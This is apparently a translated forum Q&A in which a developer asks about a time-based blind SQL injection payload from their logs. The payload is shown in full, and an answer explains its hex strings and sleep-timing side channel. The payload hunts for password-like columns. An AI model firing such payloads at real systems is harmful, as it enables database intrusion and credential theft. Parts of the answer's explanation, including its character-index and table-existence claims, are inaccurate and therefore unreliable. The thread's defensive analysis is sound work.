SQL 注入应该做什么?

What is that SQL injection supposed to do?

我们最近对一些我们心爱的遗留代码库进行了这种 sql 注入尝试(相当成功)。

/someFile.php?b=4430%20AND%20%28SELECT%209391%20FROM%20%28SELECT%28SLEEP%2832-%28IF%28ORD%28MID%28%28SELECT%20HEX%28IFNULL%28CAST%28COUNT%28DISTINCT%28table_schema%29%29%20AS%20NCHAR%29%2C0x20%29%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20column_name%20LIKE%200x257761636874776f6f726425%20AND%20table_schema%20%21%3D%200x696e666f726d6174696f6e5f736368656d61%20AND%20table_schema%20%21%3D%200x6d7973716c%20AND%20table_schema%20%21%3D%200x706572666f726d616e63655f736368656d61%20AND%20table_schema%20%21%3D%200x737973%29%2C1%2C1%29%29%3E1%2C0%2C32%29%29%29%29%29iOms%29

全部修复、屏蔽和报告,但我仍然很好奇 -
该查询应该做什么? 只是阻止资源(如在 DOS 中)还是收集信息?

SELECT 9391
FROM (SELECT(SLEEP(32-(IF(ORD(MID(
                                    (SELECT HEX(IFNULL(CAST(COUNT(DISTINCT(table_schema)) AS NCHAR),0x20))
                                     FROM INFORMATION_SCHEMA.COLUMNS
                                     WHERE COLUMN_NAME LIKE 0x257761636874776f6f726425
                                       AND table_schema != 0x696e666f726d6174696f6e5f736368656d61
                                       AND table_schema != 0x6d7973716c
                                       AND table_schema != 0x706572666f726d616e63655f736368656d61
                                       AND table_schema != 0x737973),1, 1))>1, 0, 32)))))iOms

我不明白它的 HEX 部分...

5 个十六进制值对这些字符串进行编码:

  1. %wachtwoord%
  2. information_schema
  3. mysql
  4. performance_schema
  5. sys

它正在尝试使用查询执行时间作为辅助通道来传达查询结果。根据大型子查询的结果,它将调用 sleep 不同的时间。

嵌套的 select 语句的结果被传递到 mid,然后从第一个字符开始获取长度为 1 的子字符串。即,它只是获取索引 1 处的字符(第二个字符)。

此字符串被传递给 ord,后者将其第一个字符转换为数字。然后从 32 中减去该数字,并使查询在这段时间内休眠。

如果您注意到,以上 5 个字符串中的每一个都有唯一的第二个字符。此查询正在确定其中哪一个存在,并等待一段独特的响应时间。通过计算查询花费的时间,攻击者可以看到哪些表存在,他们可以使用您正在使用的特定 RDMSS。从那里,他们可以使用特定于 RDMSS 的 SQL 方言来执行下一个命令。

换句话说:伙计们,使用准备好的语句。令人尴尬的是,这仍然是一个问题。